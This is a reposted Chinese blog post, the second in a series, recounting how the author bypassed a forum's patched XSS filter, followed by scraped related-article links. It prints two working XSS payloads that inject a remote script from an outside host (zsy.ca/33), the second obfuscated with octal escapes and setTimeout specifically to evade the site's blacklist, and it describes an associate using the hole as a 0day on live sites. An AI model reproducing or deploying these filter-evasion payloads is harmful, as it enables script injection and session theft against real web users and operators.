(转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)
第一次和一套程序做了这么多次的斗争。今天基友又给我来信说,没得玩了。了解了下情况,是他拿着0day到处插,被人家发现了。还出了个公告,说所有***必须安装补丁。呵呵,性福总是走的这么突然。这乐子一下就让人给搞没了。本来想的就算了。但是突然觉得还是想看看程序员是怎么修复的。(说实话,搞了那么多天也有感情了不是)
<p onmouseover="\u0064ocument.write('<sc'+'ript src=//zsy.ca/33></sc'+'ript>')">
针对于我用上面的payload和我用eval拼接多个XSS语句的的问题,在多次黑盒测试之后发现他是这么去思考这个问题的:
1.先解决掉onmouseover,采取的方式是发现onmou就拦截发贴
2.解决编码绕过问题。怎么做?既然可以用unicode来绕过就在发现\u时拦截
3.既然有人用eval来拼接,我就把eval过滤了。发现就拦截。
4.既然黑阔用的方法都是不闭合标签的,那么当碰到没有闭合的标签时就让content=""(其实我也想闭合显得自己专业一点。但是长度不够啊)
要再次挑战一下这个程序员么?
一个很有意思的程序员。我其实挺佩服他这种认真负责的态度的。但是方法还是不对。顺便提一下一个新发现的问题。这个问题不知道是之前就有了,还是程序员爆发了。他把“#”给过滤了。有两种可能性:
1.是个通用的防注入程序,为了防止网站被注入时攻击者使用"#"来注释多余的部分
2.他开窍了。他知道除了unicode之外,还有hex和demical只要过滤了#,我就绕不过去了。
然后顺便纠正一下我上次测试的时候,犯的一个马虎。其实标题处的长度限制是150.我可能当时测试的姿势不对- -。这个也不是今天的重点。
因为第一次对测试步骤已经说的很详细了。故不做重复的解释。在经过一系列fuzz之后发现onclick属性它没过滤。我们就有了
<p onclick="">求助</p>
还要继续解决前面的问题。之前在处理黑名单成员document时,我们使用了unicode.现在不单unicode不能用了,替代品hex和demical也不能用了(因为过滤了"#")想了下还有octal和base16.但是base16和octal不能直接拿来编码document。如果在eval()里面就好了。可是eval()又被过滤了。怎么办呢?想了想,还有个加强版的eval()就是setTimeout(,).和eval最大的区别就是多了个Timer。但是只要把延迟设置为0那就和eval()是一样的了。
然后开始构造payload:
<p onclick="setTimeout('\144ocument.write(\47\74\163cript src=//zsy.ca/33\76\74/\163cript\76\47)',0)">域名问题</p>
一个没有eval,unicode,document,char,onmouseover,script和#的payload又让我们给写好了.性福总是来的这么突然。不知道这次穿帮又会是什么时候。期待程序员下次更好的表现呢。程序猿,加油!
这次的可能有点短。如果大家都觉得挺有意思的话下次他再更新程序了,我会再次跟进测试然后发到这里。如果觉得太无趣了的话也可以说一下,我也就不发了。
(转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)的更多相关文章
- (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)
from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1) 最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...
- 一次有趣的XSS漏洞挖掘分析(1)
最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有 ...
- 一次有趣的XSS漏洞挖掘分析(2)
第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就 ...
- 一次有趣的XSS漏洞挖掘分析(3)最终篇
这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“完事 ...
- (转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇
这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“ ...
- xss漏洞挖掘小结
xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...
- 记一次隐秘的XSS漏洞挖掘
前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...
- Xss漏洞原理分析及简单的讲解
感觉百度百科 针对XSS的讲解,挺不错的,转载一下~ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...
- 记一次xss漏洞挖掘
博客园在整改中,无法更新文章,难受啊... 记录一次react的xss漏洞发现,比较有意思: 某个站: 直接输入<xxx>,直接把我跳转到了404,猜测可能做了一些验证: 尝试多重编码,发 ...
随机推荐
- ZR提高失恋测3
ZR提高失恋测3 题目链接 (感觉这一场比以往的简单了一些) 估分 100 + 40 + 40 得分 100 + 60 + 40 ??? A 首先,我们能够想到一个比较简单的\(n^2\)做法, 枚举 ...
- Nutch2.3 编译和安装配置
Nutch2.3 编译和安装配置 [一].介绍 Nutch 是一个开源Java 实现的搜索引擎.它提供了我们运行自己的搜索引擎所需的全部工具.包括全文搜索和Web爬虫.现在Nutch分为两个版本:1. ...
- STM32与STM8操作寄存器的区别
在STM8中,由于STM8寄存器较少,在头文件中定义寄存器的时候不用采取任何形式的封装,所以操作寄存器的时候直接可以用如下方式处理:PB_DDR |=0x20; 但是在STM32中,由于其寄存器实在太 ...
- Jmeter配置元件——JDBC Connection Configuration参数化
在昨天Jmeter配置元件——CSV DataSet Config参数化一文中,有提到,在参数化时,还可以使用JDBC Connection Configuration配置元件实现,具体如何实现,如何 ...
- starUml破解
在安装目录的:StarUML\www\license\node 找到LicenseManagerDomain.js 在 try 前面加上: return { name:"0xcb" ...
- asp.net保留两位小数
1.System.Globalization.NumberFormatInfo provider = new System.Globalization.NumberFormatInfo();provi ...
- 20191017-8 alpha week 2/2 Scrum立会报告+燃尽图 07
此作业要求参见https://edu.cnblogs.com/campus/nenu/2019fall/homework/9804 小组名称:“组长”组 组长:杨天宇 组员:魏新,罗杨美慧,王歆瑶,徐 ...
- QTableWiget的简单使用
QTableWidget是QT程序中常用的显示数据表格的空间,很类似于VC.C#中的DataGrid.说到QTableWidget,就必须讲一下它跟QTabelView的区别了.QTableWidge ...
- 【题解】幼儿园篮球题(范德蒙德卷积+斯特林+NTT)
[题解]幼儿园篮球题(NTT+范德蒙德卷积+斯特林数) 题目就是要我们求一个式子(听说叫做超几何分布?好牛逼的名字啊) \[ \sum_{i=1}^{S}\dfrac 1 {N \choose n_i ...
- 「学习笔记」ST表
问题引入 先让我们看一个简单的问题,有N个元素,Q次操作,每次操作需要求出一段区间内的最大/小值. 这就是著名的RMQ问题. RMQ问题的解法有很多,如线段树.单调队列(某些情况下).ST表等.这里主 ...